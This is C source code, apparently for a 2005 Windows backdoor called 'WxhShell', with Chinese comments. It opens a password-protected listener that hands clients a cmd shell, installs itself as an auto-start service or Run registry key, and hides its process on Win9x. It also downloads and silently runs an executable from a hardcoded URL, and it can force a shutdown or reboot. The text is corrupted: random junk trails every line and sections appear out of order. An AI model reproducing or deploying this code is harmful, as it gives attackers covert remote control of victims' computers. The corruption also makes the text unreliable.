    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <<9|*Tz  
    if(Boot(SHUTDOWN)) )[=C@U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {l\Ep=O vx  
    else { -:Q"aeC5  
    closesocket(wsh); N_(-\\mq  
    ExitThread(0); VuH }@  
    } tn|H~iF{  
    break; }t1 q5@QU  
    } D<[kbt 5^7  
  // 获取shell D"{%[;J  
  case 's': { zJOyr"B'8  
    CmdShell(wsh); 9|K :\!7  
    closesocket(wsh); 0 Cyus  
    ExitThread(0); VI.Cmw~S  
    break; "DRiJ.|APs  
  } B.);Ju  
  // 退出 #=Whh 9-d  
  case 'x': { =n;LP#(h?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $4]4G=o  
    CloseIt(wsh); xg;F};}5$  
    break; \^lDd~MWG  
    } 8boiJku`  
  // 离开 WGUd@lC~  
  case 'q': { HLqDI lL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lEw!H^O4  
    closesocket(wsh); |w>d]eA5  
    WSACleanup(); '1Ex{$Yk  
    exit(1); $`L |  
    break; ^ JU#_  
        } G}nj 71=H  
  } FWLLbL5t  
  } '"6*C*XS  
U:|:Y=O?Q  
  // 提示信息 ( ;KTV*1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); On,z# A  
} QO4eDSW  
  } NkAu<> G _  
LfvRH?<W  
  return; `U>]*D68  
} -8S Z}J  
l?HC-_Pbh  
// shell模块句柄 u!McPM8Yk  
int CmdShell(SOCKET sock) <JW %h :\t  
{ 7&Ie3[Rm_3  
STARTUPINFO si; {Ut,xi  
ZeroMemory(&si,sizeof(si)); V}h)e3X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $wk(4W8E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R l)g[s  
PROCESS_INFORMATION ProcessInfo; Y*S(uqM  
char cmdline[]="cmd"; :S+Bu*OyH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I"D}amuv  
  return 0; ;20sh^~  
} JRDIGS_~  
c7R6.T  
// 自身启动模式 !]&+g'aC3  
int StartFromService(void) ] B>.}  
{ ~hT(uxU/  
typedef struct 4v`;D,dIu  
{ )\{]4[9N  
  DWORD ExitStatus; `Zci <  
  DWORD PebBaseAddress; v\5`n@}4  
  DWORD AffinityMask; [MeFj!(  
  DWORD BasePriority; JE;!~=   
  ULONG UniqueProcessId; cq$ _$jRx  
  ULONG InheritedFromUniqueProcessId; WT1d'@LY  
}   PROCESS_BASIC_INFORMATION; Q6CVMYT  
+,eF(VS!  
PROCNTQSIP NtQueryInformationProcess; 8P} a  
"[CR5q9Pr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q776cj^L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &E-q(3-  
pc;`Fz/`7  
  HANDLE             hProcess; )t$-/8  
  PROCESS_BASIC_INFORMATION pbi; U< "k -  
cfHtUv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VzWH9%w  
  if(NULL == hInst ) return 0; '.7ER  
W'v o?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RVr5^l;"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1\/^X>@W{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6vg` 8  
_ F2ofB'  
  if (!NtQueryInformationProcess) return 0; 3k:`7E.  
h<g2aL21?F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); } ;d=  
  if(!hProcess) return 0; Z3-=TN  
|zy` ]p9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -E.fo._L5  
R vd'uIJ  
  CloseHandle(hProcess); (:RYd6i  
3O|2Z~>3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bsj^R\  
if(hProcess==NULL) return 0; QGnUPiD^  
352RJC  
HMODULE hMod; ;/!o0:m^I  
char procName[255]; 3E!3kSh|  
unsigned long cbNeeded; pzT`.#N:M  
d}@n,3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @CKMJ^#|  
q( %)^C  
  CloseHandle(hProcess); $,nidK!"  
Ru$%gh>v  
if(strstr(procName,"services")) return 1; // 以服务启动 /'bX}H(dq  
jN/snU2\0  
  return 0; // 注册表启动 jT4 m(j  
} e[db?f2!  
JcC2Zn6  
// 主模块 7MhaLkB_6  
int StartWxhshell(LPSTR lpCmdLine) :,.HJ[Vg&  
{ jEL"Q?#  
  SOCKET wsl; $?DEO[p.  
BOOL val=TRUE; ,2mq}u>WU  
  int port=0; m1RjD$fM  
  struct sockaddr_in door; =Nr?F '<  
Q3[nS(#Z/=  
  if(wscfg.ws_autoins) Install(); r%`3*<ALV)  
p &i+i  
port=atoi(lpCmdLine); MSe >1L2=  
AH^ud*3F  
if(port<=0) port=wscfg.ws_port; IB^vEY!`6_  
jM>;l6l  
  WSADATA data; m:cWnG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k8,s<m  
~NIqO4 D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aX*7tRn_%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $]4o!Z  
  door.sin_family = AF_INET; +9.GNu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y]uBVn'u  
  door.sin_port = htons(port); !14l[k+\  
 ">q?(i\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P&*e\"{  
closesocket(wsl); 'wo}1^V  
return 1;  X*`b}^T  
} 6Z;D`X,5  
"||' -(0  
  if(listen(wsl,2) == INVALID_SOCKET) { yp< )v(8|'  
closesocket(wsl); dlwOmO'Bm)  
return 1; :DFtH13qO  
} A" IaFXB  
  Wxhshell(wsl); 27Vx<W  
  WSACleanup(); CW,|l0i  
e_3B\59k  
return 0; "j=E8Dd}  
|A2o$H  
} .+~9 vH  
'^tC|)  
// 以NT服务方式启动 )+f"J$ah  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sc z8 `%  
{ .G>~xm0  
DWORD   status = 0; t6~~s iQI'  
  DWORD   specificError = 0xfffffff; ogoEtKi  
J4?SC+\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xj JoWB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0RN7hpf&`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J5}?<Dd:  
  serviceStatus.dwWin32ExitCode     = 0; Z*.rv t  
  serviceStatus.dwServiceSpecificExitCode = 0; Q>TNzh  
  serviceStatus.dwCheckPoint       = 0; ! )(To  
  serviceStatus.dwWaitHint       = 0; ,t39~w  
Sb`SJ):x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fdgjTX  
  if (hServiceStatusHandle==0) return; BipD8`a  
eH%i8a  
status = GetLastError(); y_T%xWK5  
  if (status!=NO_ERROR) h@Ix9!?+  
{ jgBJs^JgYG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n%6=w9.%c  
    serviceStatus.dwCheckPoint       = 0; vhN6_XD  
    serviceStatus.dwWaitHint       = 0; bUc ++M  
    serviceStatus.dwWin32ExitCode     = status; hPt=j{aJ%<  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^CB@4$!   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X rut[)H  
    return; . Fm| $x  
  } q0@b d2}  
}{.V^;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \# 1p  
  serviceStatus.dwCheckPoint       = 0; r(g2&}o\  
  serviceStatus.dwWaitHint       = 0; GQ*or>R1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bs)Ro/7}  
} ^%qQ)>I=j  
O)`ye5>v  
// 处理NT服务事件,比如:启动、停止 \4uj!LgTb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P,k=u$  
{ 1(jx.W3  
switch(fdwControl) |2I/r$Q  
{ MF +F8h>/  
case SERVICE_CONTROL_STOP: zvT8r(<n}  
  serviceStatus.dwWin32ExitCode = 0; Srrzj-9^)K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tNxKpA |F  
  serviceStatus.dwCheckPoint   = 0; v5.KCc}"  
  serviceStatus.dwWaitHint     = 0; 5E2T*EXSh  
  { R%Xz3Z&|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZsGJ[  
  } LqS_%6^  
  return; z/i&Lpr:  
case SERVICE_CONTROL_PAUSE: %%lJyLq'Vk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3&B- w  
  break; XKvH^Z4h{l  
case SERVICE_CONTROL_CONTINUE: @y,>cDg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L"( {6H  
  break; K^%ONultv  
case SERVICE_CONTROL_INTERROGATE: cY.5z:7u~v  
  break; ephvvj~zW4  
}; mh#_lbe'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hdYd2 j  
} qG#ZYcVec  
yRt7&,}zL  
// 标准应用程序主函数 y.::d9v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OOzXA%<%c  
{ 66scBi_d  
{G{ >Qa|  
// 获取操作系统版本 iT</  
OsIsNt=GetOsVer(); Y$W)JWMY`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZN!<!"~  
Uf~5Fc1d =  
  // 从命令行安装 i\kDb=  
  if(strpbrk(lpCmdLine,"iI")) Install(); BxB B](  
5)ooE   
  // 下载执行文件 0+KSD{  
if(wscfg.ws_downexe) { H"wIa8A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XjTu`?Na;  
  WinExec(wscfg.ws_filenam,SW_HIDE); dAi.^! !  
} [x -<O:r=P  
 |?ZNGPt  
if(!OsIsNt) { TpxAp',#7  
// 如果时win9x,隐藏进程并且设置为注册表启动 1tlqw  
HideProc(); Twk<<  
StartWxhshell(lpCmdLine); LXf|n  
} ~gg&G~ ET  
else C4gzg  
  if(StartFromService())  Au*1-  
  // 以服务方式启动 8qoA5fW>  
  StartServiceCtrlDispatcher(DispatchTable); r"dR}S.Uf  
else ;&MnPFmq  
  // 普通方式启动 C{,Vk/D-0  
  StartWxhshell(lpCmdLine); A| y U'k  
ts r{-4V  
return 0; {HjJ9ZGQ  
} l/A!ofc#)  
~w}=Oby'y  
kA9k^uR/  
UkC'`NWF*  
=========================================== w4l]rH  
tMyMA}`  
WZ UeW*#=  
nI8zT0o  
[C@ Ro,mI  
{a(<E8-^  
" \8USFN~(Y  
ZHCrKp  
#include <stdio.h> n2Q ?sV;m  
#include <string.h> Z 4c^6v  
#include <windows.h> Q+Eqaz`  
#include <winsock2.h> |7!Bk$(vA  
#include <winsvc.h> zbfe=J4c  
#include <urlmon.h> Fzz9BEw(i  
^=qV)j  
#pragma comment (lib, "Ws2_32.lib") S`vw<u4t  
#pragma comment (lib, "urlmon.lib") z2q!_ ~  
EF;B)y=  
#define MAX_USER   100 // 最大客户端连接数 Wj, {lJ,  
#define BUF_SOCK   200 // sock buffer ""h%RhcZ\  
#define KEY_BUFF   255 // 输入 buffer &iT^IkA{  
Pd~z%VoO  
#define REBOOT     0   // 重启 TJuS)AZ C  
#define SHUTDOWN   1   // 关机 ]-l4  
ACF_;4%&  
#define DEF_PORT   5000 // 监听端口 -o57"r^x  
wd1>L) T  
#define REG_LEN     16   // 注册表键长度 'Z nJd j  
#define SVC_LEN     80   // NT服务名长度 }MtORqK  
^tVIPH.R  
// 从dll定义API lE3&8~2   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o_r{cnu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 01IfvK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x[$ :^5V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1"T&B0G3l  
z]j_,3Hff  
// wxhshell配置信息 i(xL-&{  
struct WSCFG { Kc+9n%sp  
  int ws_port;         // 监听端口 eYPIZ{S7h  
  char ws_passstr[REG_LEN]; // 口令 B&}lYo  
  int ws_autoins;       // 安装标记, 1=yes 0=no ][~rk?YY  
  char ws_regname[REG_LEN]; // 注册表键名 RI BB*  
  char ws_svcname[REG_LEN]; // 服务名 kZ!&3G9>-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M$3/jl*#}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =BzBM`-o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H+Q_%%[N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Gn<e&|4>i}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S4{\5ulr7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `U{#;  
epP_~TU  
}; I2?g'tz  
+lJD7=%K]Z  
// default Wxhshell configuration 2F:X:f  
struct WSCFG wscfg={DEF_PORT, b=:%*gq,  
    "xuhuanlingzhe", Z FIgKWZ'  
    1, qx}*L'xB  
    "Wxhshell", 3.%jet1  
    "Wxhshell", KzB9 mMrO  
            "WxhShell Service", ]kH8T'  
    "Wrsky Windows CmdShell Service", 5%" 0  
    "Please Input Your Password: ", >P2QL>P  
  1, # twl  
  "http://www.wrsky.com/wxhshell.exe", 0|?DA12Z  
  "Wxhshell.exe" &I/C^/F&  
    }; a<Ps6'  
F/D/1w^ iR  
// 消息定义模块 Gdlx0i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I0sw/,J/Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `~LaiN.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }k6gO0z  
char *msg_ws_ext="\n\rExit."; pbqJtBBDDS  
char *msg_ws_end="\n\rQuit."; 3L;&MG=  
char *msg_ws_boot="\n\rReboot..."; _\AT_Zmy  
char *msg_ws_poff="\n\rShutdown..."; </qli-fXB}  
char *msg_ws_down="\n\rSave to "; J8h H#7WMS  
1@Rl^ey  
char *msg_ws_err="\n\rErr!"; =z2g}X  
char *msg_ws_ok="\n\rOK!"; ]ov"&,J  
RaB%N$.9s  
char ExeFile[MAX_PATH]; n^rzl6dy  
int nUser = 0; $p.0[A(N  
HANDLE handles[MAX_USER]; 0+_:^z  
int OsIsNt; yzz(<s:o/  
)H<F([Jri  
SERVICE_STATUS       serviceStatus; y;tX`5(fe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A<cnIUW  
K<"Y4O#]  
// 函数声明 9 icy&'  
int Install(void); ['@R]Si"!  
int Uninstall(void); WO{9S%ck  
int DownloadFile(char *sURL, SOCKET wsh); E XQ 3(:&  
int Boot(int flag); $-_@MT~  
void HideProc(void); Ga $EM  
int GetOsVer(void); @ {8x L  
int Wxhshell(SOCKET wsl); vce1'aW  
void TalkWithClient(void *cs); 3HB(rTw  
int CmdShell(SOCKET sock); Ndqhc  
int StartFromService(void); W$u/tRF  
int StartWxhshell(LPSTR lpCmdLine); 3?yq*uE}  
c+]5[6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k0-,qM#p;X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <>[]- Vq  
H,U qU3b3  
// 数据结构和表定义 sTF Ru  
SERVICE_TABLE_ENTRY DispatchTable[] = `xu/|})KI  
{ 08;t%[R  
{wscfg.ws_svcname, NTServiceMain}, i^6g1"h  
{NULL, NULL} <@H=XEn  
}; X:gE mcXc  
AO^c=^  
// 自我安装 F$H^W@<w  
int Install(void) OEj%cB!  
{ 7a'@NgiGg  
  char svExeFile[MAX_PATH]; m*H6\on:  
  HKEY key; aZYs?b>Gm  
  strcpy(svExeFile,ExeFile); mX QVL.P\  
iCZ1ARi  
// 如果是win9x系统,修改注册表设为自启动 W8s/"  
if(!OsIsNt) { h%(0|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HXRK<6k$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H%`|yUE(  
  RegCloseKey(key); /mFa*~dj2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g+92}$_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vhu5w#]u*  
  RegCloseKey(key); :X ~{,J  
  return 0; )x&OdFX  
    } &oqzQ+H  
  } 9N{"ob Z  
} *6 1G<I  
else { agxR V  
)l*6zn`z  
// 如果是NT以上系统,安装为系统服务 YNWAef4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EXTQ:HSES  
if (schSCManager!=0) O=w u0n  
{ D}:M0EBS  
  SC_HANDLE schService = CreateService nV+]jQ~o  
  ( _.$g?E/(  
  schSCManager, @;H1s4OZ  
  wscfg.ws_svcname, P :D6w){  
  wscfg.ws_svcdisp, ixIfJ  
  SERVICE_ALL_ACCESS, Xu#K<#V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L# NW<T  
  SERVICE_AUTO_START, X |X~|&j  
  SERVICE_ERROR_NORMAL, vd!|k5t[d  
  svExeFile, $Xr9<)?,  
  NULL, ]{'lV~fc  
  NULL, E7UYJ)6]  
  NULL, Qg4g(0E@  
  NULL, @+ U++  
  NULL yW)X asn  
  ); h"5!puN+  
  if (schService!=0) b py576GwA  
  { )nJh) {4\  
  CloseServiceHandle(schService); M4(`o^n  
  CloseServiceHandle(schSCManager); ITu5Y"x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  Gu P1  
  strcat(svExeFile,wscfg.ws_svcname); 60&4?<lR4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p(]o#$ 6[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aw8q}:  
  RegCloseKey(key); ia}V8i  
  return 0; |qTS{qQh{L  
    } 8q#Be1u<s2  
  } - Ado-'aaS  
  CloseServiceHandle(schSCManager); 8st~ O  
} ~g[<A?0=y  
} 8rA?X*|S!  
&WGG kn  
return 1; m^Xq<`e"<  
} ykbTWp$Y4Z  
Me e+bp  
// 自我卸载 "vG~2J  
int Uninstall(void) -THU5AB  
{ FlQ(iv)P  
  HKEY key; WGrG#Kw[  
z^r  
if(!OsIsNt) { ~}fQ.F*7R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q-)Ynp4'  
  RegDeleteValue(key,wscfg.ws_regname); c- {;P>L  
  RegCloseKey(key); `;fk,\8t%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =/jCDY  
  RegDeleteValue(key,wscfg.ws_regname); z4 yV1  
  RegCloseKey(key); c_YP#U  
  return 0; j? P=}_Ru  
  } (77EZ07%  
} ($ l t@j  
} >m;*Zk`  
else { '-[~I>o%  
p+>vX X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RY]Vo8  
if (schSCManager!=0) @on\@~Ug  
{ Ei[>%Ah  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3\jcq@N  
  if (schService!=0) 2XN];,{  
  { R |h(SXa  
  if(DeleteService(schService)!=0) { BE]PM nI  
  CloseServiceHandle(schService); wkwsBi  
  CloseServiceHandle(schSCManager); #^ cmh  
  return 0; &^4E)F  
  } +P?^Yx0d  
  CloseServiceHandle(schService); u4UQMj|q  
  } )Cm7v@B   
  CloseServiceHandle(schSCManager); 4Cdl^4(LT  
} (ug^2WG Yq  
} H tu}M8/4  
oTqv$IzqP  
return 1; )KPQ8y!d  
} )D1=jD(  
uNn]hl|x  
// 从指定url下载文件 .}.63T$h9  
int DownloadFile(char *sURL, SOCKET wsh) 5, <:|/r  
{ ?Q XS?  
  HRESULT hr; ucVn `  
char seps[]= "/"; _(Qec?[^Ps  
char *token; fq2t^c|$  
char *file; f\~OG#AaX  
char myURL[MAX_PATH]; ZdP2}w  
char myFILE[MAX_PATH]; -Ob89Z?2A  
 h7h[! >  
strcpy(myURL,sURL); yj48GQP]  
  token=strtok(myURL,seps); &CEZ+\bA  
  while(token!=NULL) "}jY;d#n  
  { =(x W7Pt~  
    file=token; z sZP\  
  token=strtok(NULL,seps); $stBB  
  } hn bF}AD  
C/{tvY /o  
GetCurrentDirectory(MAX_PATH,myFILE); eZ^-gk?  
strcat(myFILE, "\\"); -:|1>og  
strcat(myFILE, file); &b#O=LF  
  send(wsh,myFILE,strlen(myFILE),0); ))qOsphN  
send(wsh,"...",3,0); C=z7Gk=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X_0Ta_u?T  
  if(hr==S_OK) UmRI! WQl  
return 0; k}yUD 0Y  
else uS%Y$v  
return 1; `T]1u4^E  
rfdT0xfcU  
} @}{~Ofs  
vQ/&iAyut  
// 系统电源模块 E4nj*Lp~+  
int Boot(int flag) %j3 *j  
{ 8=%%C:  
  HANDLE hToken; DgQw9`W A  
  TOKEN_PRIVILEGES tkp; ARD&L$AX  
^Cs5A0xo#s  
  if(OsIsNt) { oq<n5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &u_s*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UaQR0,#0y  
    tkp.PrivilegeCount = 1; :i4>&4j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %0z&k!P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z&6TdwhV  
if(flag==REBOOT) { =h4* ^NJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l$_Yl&!q$  
  return 0;  3O:gZRxK  
} N!fTt,  
else { 1qw*mV;W)_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]i3 1@O  
  return 0; 3',|HA /x  
} }BpCa6SAs  
  } 3\xvy{r  
  else { q DQ$Zq[  
if(flag==REBOOT) { R0n# FL^E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) St6U  
  return 0; YuZxKuGy  
} @GB~rfB[  
else { XCGJ~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [a&|c%h  
  return 0; jo.Sg:7&  
}  !XvQm*1  
} Myj 68_wf  
7>a-`"`O  
return 1; Ri}n0}I  
} $LLy#h?V]  
>^8=_i !  
// win9x进程隐藏模块 [_&\wHX  
void HideProc(void) )PRyDC-  
{ c teUKK.|)  
uHv9D%R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nH#|]gVI  
  if ( hKernel != NULL ) R(?g+:eCpM  
  { P+m{hn~%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hq{i-z+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w!0`JPu  
    FreeLibrary(hKernel); ZE())W"  
  } wgK:^D P  
6w d0"  
return; h|_E>6d)  
} R).?lnS  
Jv*(DFt!v  
// 获取操作系统版本 ?]`kc  
int GetOsVer(void) !);kjXQS?  
{ ]vJ] i <|b  
  OSVERSIONINFO winfo; Q)\~=/L b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y^o*wz:D*  
  GetVersionEx(&winfo); bIR AwktD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q1fJ`A=  
  return 1; q F \a]e  
  else 7j&iHL  
  return 0; #|\NG  
} ~Bll\3-=  
BcMgfa/  
// 客户端句柄模块 %"2 ;i@  
int Wxhshell(SOCKET wsl) ;TAf[[P  
{ HQ8oOn  
  SOCKET wsh; nQ/R,+6h  
  struct sockaddr_in client; fh0a "#L{  
  DWORD myID; 8._ A[{.f  
L#Mul&r3x0  
  while(nUser<MAX_USER) vjy59m  
{ +mReWf:o  
  int nSize=sizeof(client); 'WEypz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;+%(@C51GE  
  if(wsh==INVALID_SOCKET) return 1; zCvt"!}RRa  
s3+^q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _H:mBk,,  
if(handles[nUser]==0) zj ;'0Zu  
  closesocket(wsh); Y<'T;@  
else 6!|-,t><  
  nUser++; 2]Nc@wX`p  
  } CS;bm `8a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NuLyu=.?  
&{): x  
  return 0; j4v.8;  
} *C~O[:6D  
R^`#xQ  
// 关闭 socket S\"/=|\  
void CloseIt(SOCKET wsh) ZGUhje!  
{ G+^Q _w  
closesocket(wsh); gpBpG  
nUser--; ^-, aB  
ExitThread(0); ,O[HX?>  
} jG"n);WF  
I`?6>Z+%)  
// 客户端请求句柄 TA=VfA B  
void TalkWithClient(void *cs) ;VY0DAp{  
{ uyt]\zVT  
|[ymNG  
  SOCKET wsh=(SOCKET)cs; 50 :gk*hy  
  char pwd[SVC_LEN]; ;aJBx  
  char cmd[KEY_BUFF]; -r%3"C=m  
char chr[1]; +I$ k_  
int i,j; xFU*,Y  
kY8aK8M  
  while (nUser < MAX_USER) { /Ulv/Thl  
4ZY0!'be-R  
if(wscfg.ws_passstr) { ,qF;#nB-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }<y-`WB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xXpeo_y'  
  //ZeroMemory(pwd,KEY_BUFF); {&_1/  
      i=0; f; <qGM.#|  
  while(i<SVC_LEN) { 4{?Djnh  
Y#9dVUS  
  // 设置超时 (Ev/R%Z  
  fd_set FdRead; wAC*D=Qj  
  struct timeval TimeOut; bLrC_  
  FD_ZERO(&FdRead); 2f'3Vjp~G  
  FD_SET(wsh,&FdRead); | |=q"h3(  
  TimeOut.tv_sec=8; &tT*GjPwg;  
  TimeOut.tv_usec=0; W'l &rm@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  `Pa)H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W\V'o Vt  
xE$(I<:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cO9aT  
  pwd=chr[0]; E1(2wJ-3"  
  if(chr[0]==0xd || chr[0]==0xa) { AV"fOK;#A  
  pwd=0; )Mw<e  
  break; f>LwsP  
  } zKycd*X  
  i++; a2l\B~n  
    } g3r4>SA  
~NYy@l   
  // 如果是非法用户,关闭 socket bo]xah|."j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u)]]9G _8  
} Z83A1`!.|  
RcQo1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XU f]gQu3=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^T):\x(  
Y|eB;Dm1q  
while(1) { /s91[n(d  
}pP<+U  
  ZeroMemory(cmd,KEY_BUFF); 9G7lPK  
+8tdAw  
      // 自动支持客户端 telnet标准   86[/NTD<-  
  j=0; ,2H@xji [  
  while(j<KEY_BUFF) { :JBvCyj4PE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qqt<  
  cmd[j]=chr[0]; %nU8 Ca  
  if(chr[0]==0xa || chr[0]==0xd) { o)_;cCr)q  
  cmd[j]=0; ?LP&VU1  
  break; 7_,)"J2^  
  } "c[ D 0{\{  
  j++; 9$-V/7@)  
    } DOi\DJV!  
C_>dJYM  
  // 下载文件 t@K N+ C  
  if(strstr(cmd,"http://")) { h^{D "  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &X 0qH8W  
  if(DownloadFile(cmd,wsh)) }O+F#/6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vA(V.s`  
  else .8[Db1W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +bi%4DA  
  } cN/8 b0C  
